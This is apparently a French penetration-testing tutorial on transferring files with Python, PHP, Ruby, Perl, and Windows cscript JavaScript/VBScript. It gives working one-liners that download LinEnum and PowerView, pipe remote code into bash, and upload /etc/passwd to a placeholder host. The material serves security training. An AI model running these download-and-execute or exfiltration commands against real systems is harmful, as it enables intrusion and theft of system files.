Transferring Files with Code
🧠 Introduction
Il est fréquent de trouver différents langages de programmation installés sur les machines cibles. Des langages comme Python, PHP, Perl ou Ruby sont généralement disponibles par défaut sur les distributions Linux, mais peuvent également être installés sur Windows (moins courant).
Certaines applications préinstallées sous Windows, telles que cscript
et mshta
, permettent d'exécuter du code JavaScript ou VBScript. À noter que JavaScript peut aussi être exécuté sur des hôtes Linux.
D'après Wikipedia, il existe environ 700 langages de programmation. On peut écrire du code dans n'importe lequel d'entre eux pour télécharger, envoyer ou exécuter des instructions sur le système d'exploitation.
Cette section fournit des exemples courants de transfert de fichiers à l'aide de différents langages.
⚙️ Fonctionnement
Python
Langage populaire, Python est actuellement utilisé majoritairement en version 3, bien que certains serveurs utilisent encore la version 2.7. Python permet d'exécuter des one-liners grâce à l'option -c
.
Python 2 - Téléchargement :
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python 3 - Téléchargement :
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP
Langage très répandu, utilisé par plus de 75% des sites web côté serveur. Il offre plusieurs méthodes pour transférer des fichiers.
file_get_contents() + file_put_contents() :
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
fopen() :
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
Téléchargement + exécution sans fichier :
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
JavaScript (Windows avec cscript.exe)
Contenu du fichier wget.js
:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Commande d'exécution :
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript (Windows)
Contenu du fichier wget.vbs
:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Commande d'exécution :
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Upload de fichiers en Python3
Démarrage du serveur d'upload :
python3 -m uploadserver
Upload d'un fichier avec une one-liner Python :
python3 -c 'import requests;requests.post("http://<IP CIBLE>:8000/upload",files={"files":open("/etc/passwd","rb")})'
Version étendue :
import requests
URL = "http://<IP CIBLE>:8000/upload"
file = open("/etc/passwd","rb")
r = requests.post(URL, files={"files": file})
🚨 Risques & vulnérabilités
Exécution de code non vérifié depuis Internet.
Récupération de malwares via ces commandes.
Injection de commandes possibles si les URLs ou chemins sont dynamiques.
Utilisation d'interpréteurs obsolètes (ex : Python 2.7).
🛠️ Outils & commandes utiles
python2.7
/python3
php -r
perl -e
ruby -e
cscript.exe
uploadserver
(Python3)
📚 Ressources utiles
Mis à jour